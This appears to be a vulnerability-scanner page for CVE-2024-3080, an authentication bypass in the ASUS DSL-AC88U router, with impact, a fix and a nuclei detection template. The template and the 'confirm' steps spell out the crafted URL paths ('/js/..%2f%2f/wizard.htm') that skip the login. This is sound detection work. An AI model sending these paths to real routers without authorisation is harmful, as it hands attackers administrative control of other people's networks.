ASUS DSL-AC88U - Authentication Bypass

criticalseverity

9.8CVSS score

43.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in the ASUS DSL-AC88U router permits unauthorized individuals to bypass authentication.When adding "/js/..%2f%2f" or "/images/..%2f%2e" to the requested URL, it will be recognized as passing the authentication.This vulnerability is part of a broader authentication bypass issue affecting multiple ASUS router models.

Impact

Attackers can bypass authentication and gain unauthorized access to the router's administrative interface.

Fix

Update ASUS DSL-AC88U firmware to a version that patches the authentication bypass vulnerability.

How to confirm it

Send: GET {{BaseURL}}/js/..%2f%2f/wizard.htm ; GET {{BaseURL}}/images/..%2f%2f/wizard.htm
Positive when: contains "show_wizardmenu();" AND status 200

Run it with nuclei: nuclei -id CVE-2024-3080 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-3080

info:
  name: ASUS DSL-AC88U - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    A vulnerability in the ASUS DSL-AC88U router permits unauthorized individuals to bypass authentication.When adding "/js/..%2f%2f" or "/images/..%2f%2e" to the requested URL, it will be recognized as passing the authentication.This vulnerability is part of a broader authentication bypass issue affecting multiple ASUS router models.
  impact: |
    Attackers can bypass authentication and gain unauthorized access to the router's administrative interface.
  remediation: |
    Update ASUS DSL-AC88U firmware to a version that patches the authentication bypass vulnerability.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/ASUS/DSL-AC88U/ACL%20bypass%20Vulnerability%20in%20ASUS%20DSL-AC88U.md
    - https://thehackernews.com/2024/06/asus-patches-critical-authentication.html
    - https://nvd.nist.gov/vuln/detail/cve-2024-3080
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-3080
    cwe-id: CWE-287
    epss-score: 0.43456
    epss-percentile: 0.98747
  metadata:
    max-request: 2
  tags: cve,cve2024,asus,router,auth-bypass,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/js/..%2f%2f/wizard.htm"
      - "{{BaseURL}}/images/..%2f%2f/wizard.htm"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "show_wizardmenu();"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from